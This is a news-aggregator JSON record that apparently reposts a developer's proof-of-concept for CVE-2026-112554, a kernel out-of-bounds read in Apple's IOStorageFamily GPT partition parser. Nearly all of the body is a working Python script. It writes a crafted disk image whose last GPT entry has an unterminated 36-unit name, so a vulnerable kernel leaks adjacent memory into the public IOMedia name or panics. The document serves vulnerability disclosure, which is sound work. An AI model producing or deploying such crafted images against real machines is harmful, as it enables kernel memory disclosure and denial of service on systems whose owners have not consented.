{"slug": "poc-for-the-iostoragefamily-gpt-partition-name-over-read-cve-2026-112554", "title": "PoC for the IOStorageFamily GPT partition-name over-read (CVE-2026-112554)", "summary": "A developer published a proof-of-concept for CVE-2026-112554, an out-of-bounds read in Apple's IOStorageFamily GPT partition parser. IOGUIDPartitionScheme passes a 72-byte size to a converter expecting a UTF-16 element count, so a 36-unit, non-NUL-terminated partition name causes the kernel to read up to 36 units past the field, leaking adjacent kernel memory into the public IOMedia name or panicking the kernel if the read hits unmapped memory. The PoC crafts a disk image placing the unterminated name in the last GPT table entry so the over-read exits the 512-byte table buffer.", "body_md": "|  | #!/usr/bin/env python3 | \n|  | \"\"\" | \n|  | PoC for the IOStorageFamily GPT partition-name over-read (CVE-2026-112554). | \n|  | https://seriot.ch/security/iostoragefamily.html | \n|  | IOGUIDPartitionScheme passes sizeof(ent_name) == 72 (BYTES) to a converter that | \n|  | expects a count of UTF-16 elements. A 36-unit, non-NUL-terminated name therefore | \n|  | makes the kernel read up to 36 units PAST the end of the field, and those bytes | \n|  | end up in the public IOMedia name. | \n|  | This image puts that unterminated name in the LAST table entry, so the over-read | \n|  | exits the 512-byte table buffer into adjacent kernel memory and those bytes are | \n|  | appended to the public IOMedia name. If the read reaches unmapped memory the | \n|  | kernel panics instead. | \n|  | \"\"\" | \n|  | import binascii | \n|  | import struct | \n|  | import uuid | \n|  | OUTPUT = \"/tmp/crasher.img\" | \n|  | SECTOR = 512 | \n|  | ENTRY_SIZE = 128 | \n|  | SECTORS = 2048 | \n|  | BASIC = uuid.UUID(\"EBD0A0A2-B9E5-4433-87C0-68B6B72699C7\") # Basic Data partition type | \n|  | def u16(text): | \n|  | return text.encode(\"utf-16-le\") | \n|  | def entry(name, start, end, terminate=True): | \n|  | \"\"\"One 128-byte GPT entry. With terminate=False the 72-byte name field is | \n|  | left completely full (no NUL), so the converter reads past it.\"\"\" | \n|  | guids = BASIC.bytes_le + uuid.uuid4().bytes_le | \n|  | body = guids + struct.pack(\"<QQQ\", start, end, 0) | \n|  | raw = u16(name) | \n|  | return body + (raw.ljust(72, b\"\\0\") if terminate else raw[:72]) | \n|  | def gpt_header(table): | \n|  | header = bytearray(92) | \n|  | header[:8] = b\"EFI PART\" | \n|  | struct.pack_into(\"<II\", header, 8, 0x00010000, 92) | \n|  | struct.pack_into(\"<QQQQ\", header, 24, 1, SECTORS - 1, 34, SECTORS - 34) | \n|  | header[56:72] = uuid.uuid4().bytes_le | \n|  | struct.pack_into(\"<QIII\", header, 72, 2, 4, ENTRY_SIZE, | \n|  | binascii.crc32(table) & 0xFFFFFFFF) | \n|  | struct.pack_into(\"<I\", header, 16, binascii.crc32(header) & 0xFFFFFFFF) | \n|  | return header | \n|  | def disk_image(table): | \n|  | if len(table) != SECTOR: | \n|  | raise ValueError(\"GPT table must be exactly %d bytes\" % SECTOR) | \n|  | mbr = bytearray(SECTOR) | \n|  | mbr[450] = 0xEE # protective MBR partition type | \n|  | struct.pack_into(\"<II\", mbr, 454, 1, SECTORS - 1) | \n|  | mbr[510:] = b\"\\x55\\xaa\" | \n|  | image = bytearray(SECTOR * SECTORS) | \n|  | image[:SECTOR] = mbr | \n|  | image[SECTOR:SECTOR + 92] = gpt_header(table) | \n|  | image[2 * SECTOR:3 * SECTOR] = table | \n|  | return image | \n|  | def main(): | \n|  | # Three benign entries, then the unterminated full-length name LAST, so the | \n|  | # over-read exits the 512-byte buffer into adjacent kernel memory. | \n|  | name = (\"LEAK00_\" + \".\" * 36)[:36] | \n|  | table = (entry(\"pv1\", 40, 47) + entry(\"pv2\", 200, 207) + | \n|  | entry(\"pv3\", 300, 307) + entry(name, 1000, 1007, terminate=False)) | \n|  | with open(OUTPUT, \"wb\") as f: | \n|  | f.write(disk_image(table)) | \n|  | print(\"wrote\", OUTPUT) | \n|  | print(\"vulnerable kernel: LEAK00 name > 36 chars; extra bytes are adjacent kernel memory\") | \n|  | print(\"fixed kernel: LEAK00 name is exactly 36 chars\") | \n|  | print(\"WARNING: on a vulnerable kernel the over-read may panic. Disposable VM only.\") | \n|  | if __name__ == \"__main__\": | \n|  | main() |", "url": "https://wpnews.pro/news/poc-for-the-iostoragefamily-gpt-partition-name-over-read-cve-2026-112554", "canonical_source": "https://gist.github.com/nst/d32531c85a75193dc262ef1188cd9426", "published_at": "2026-10-27 07:34:31+00:00", "updated_at": "2026-11-12 11:53:31.918207+00:00", "lang": "en", "topics": ["ai-safety"], "entities": ["Apple", "IOStorageFamily", "IOGUIDPartitionScheme", "CVE-2026-112554"], "also_reported_by": [], "takeaway": "A 36-unit non-NUL-terminated GPT partition name makes IOStorageFamily read up to 36 UTF-16 units past the 72-byte field, leaking adjacent kernel memory into the public IOMedia name or panicking the kernel.", "recommendation": null, "alternates": {"html": "https://wpnews.pro/news/poc-for-the-iostoragefamily-gpt-partition-name-over-read-cve-2026-112554", "markdown": "https://wpnews.pro/news/poc-for-the-iostoragefamily-gpt-partition-name-over-read-cve-2026-112554.md", "text": "https://wpnews.pro/news/poc-for-the-iostoragefamily-gpt-partition-name-over-read-cve-2026-112554.txt", "jsonld": "https://wpnews.pro/news/poc-for-the-iostoragefamily-gpt-partition-name-over-read-cve-2026-112554.jsonld"}}